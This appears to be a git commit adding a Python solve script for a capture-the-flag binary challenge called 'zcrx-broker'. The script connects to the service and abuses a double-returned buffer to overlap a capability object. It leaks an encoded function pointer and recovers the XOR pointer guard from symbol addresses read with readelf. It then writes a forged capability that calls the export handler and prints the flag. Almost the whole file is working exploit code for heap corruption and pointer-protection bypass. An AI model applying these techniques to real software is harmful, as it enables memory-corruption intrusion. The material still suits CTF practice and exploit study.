Init. Commit

2026-09-17 00:50:07 +03:00
commit 880d8698d6
115 changed files with 7611 additions and 0 deletions
@@ -0,0 +1,135 @@
+#!/usr/bin/env python3
+import argparse
+import os
+import socket
+import struct
+import subprocess
+import sys
+
+CAP_MAGIC = 0x4341505245433031
+RIGHT_EXPORT = 0x4558504F52542121
+CHUNK_SIZE = 176
+
+
+class Tube:
+    def __init__(self, sock=None, proc=None):
+        self.sock = sock
+        self.proc = proc
+
+    def recv(self, n=4096):
+        if self.sock:
+            return self.sock.recv(n)
+        return os.read(self.proc.stdout.fileno(), n)
+
+    def send(self, data):
+        if self.sock:
+            self.sock.sendall(data)
+        else:
+            os.write(self.proc.stdin.fileno(), data)
+
+    def sendline(self, data):
+        self.send(data + b"\n")
+
+    def recvuntil(self, marker):
+        out = b""
+        while marker not in out:
+            chunk = self.recv(1)
+            if not chunk:
+                raise EOFError(out)
+            out += chunk
+        return out
+
+
+def symbol_value(binary, name):
+    out = subprocess.check_output(["readelf", "-sW", binary], text=True)
+    for line in out.splitlines():
+        fields = line.split()
+        if len(fields) >= 8 and fields[-1] == name:
+            return int(fields[1], 16)
+    raise RuntimeError(f"symbol not found: {name}")
+
+
+def connect(args):
+    if args.local:
+        env = os.environ.copy()
+        env["CTF_FLAG"] = args.flag
+        proc = subprocess.Popen(
+            [args.binary],
+            stdin=subprocess.PIPE,
+            stdout=subprocess.PIPE,
+            stderr=subprocess.STDOUT,
+            env=env,
+        )
+        return Tube(proc=proc)
+    sock = socket.create_connection((args.host, args.port), timeout=5)
+    return Tube(sock=sock)
+
+
+def choose(io, value):
+    io.recvuntil(b">")
+    io.sendline(str(value).encode())
+
+
+def main():
+    parser = argparse.ArgumentParser()
+    parser.add_argument("--host", default="127.0.0.1")
+    parser.add_argument("--port", type=int, default=31339)
+    parser.add_argument("--local", action="store_true")
+    parser.add_argument("--binary", default="../public/zcrx-broker")
+    parser.add_argument("--flag", default="caplag{double_returned_niov_shared_the_capability}")
+    args = parser.parse_args()
+
+    audit_handler = symbol_value(args.binary, "audit_handler")
+    export_handler = symbol_value(args.binary, "export_handler")
+
+    io = connect(args)
+
+    choose(io, 1)
+    io.recvuntil(b"label:")
+    io.sendline(b"rx-preview-niov")
+
+    for path in (b"scrub", b"refill"):
+        choose(io, 2)
+        io.recvuntil(b"path:")
+        io.sendline(path)
+        io.recvuntil(b"view:")
+        io.sendline(b"0")
+
+    choose(io, 3)
+    io.recvuntil(b"free_count=")
+    io.recvuntil(b"\n")
+
+    choose(io, 4)
+    io.recvuntil(b"cap 0 allocated")
+
+    choose(io, 5)
+    io.recvuntil(b"cap:")
+    io.sendline(b"0")
+    io.recvuntil(b"encoded_handler=")
+    encoded_audit = int(io.recvuntil(b" rights=")[: -len(b" rights=")], 16)
+    ptr_guard = encoded_audit ^ audit_handler
+    encoded_export = export_handler ^ ptr_guard
+
+    forged = struct.pack("<Q", CAP_MAGIC)
+    forged += struct.pack("<Q", encoded_export)
+    forged += struct.pack("<Q", RIGHT_EXPORT)
+    forged += b"/broker/export\x00".ljust(48, b"\x00")
+    forged += b"overlap from double-returned niov".ljust(104, b"\x00")
+    forged = forged.ljust(CHUNK_SIZE, b"\x00")
+
+    choose(io, 6)
+    io.recvuntil(b"blob bytes:")
+    io.sendline(str(len(forged)).encode())
+    io.recvuntil(b"blob payload:")
+    io.send(forged)
+
+    choose(io, 7)
+    io.recvuntil(b"cap:")
+    io.sendline(b"0")
+    data = io.recvuntil(b"}")
+    flag = data[data.rfind(b"caplag{") :].decode()
+    print(flag)
+
+
+if __name__ == "__main__":
+    sys.exit(main())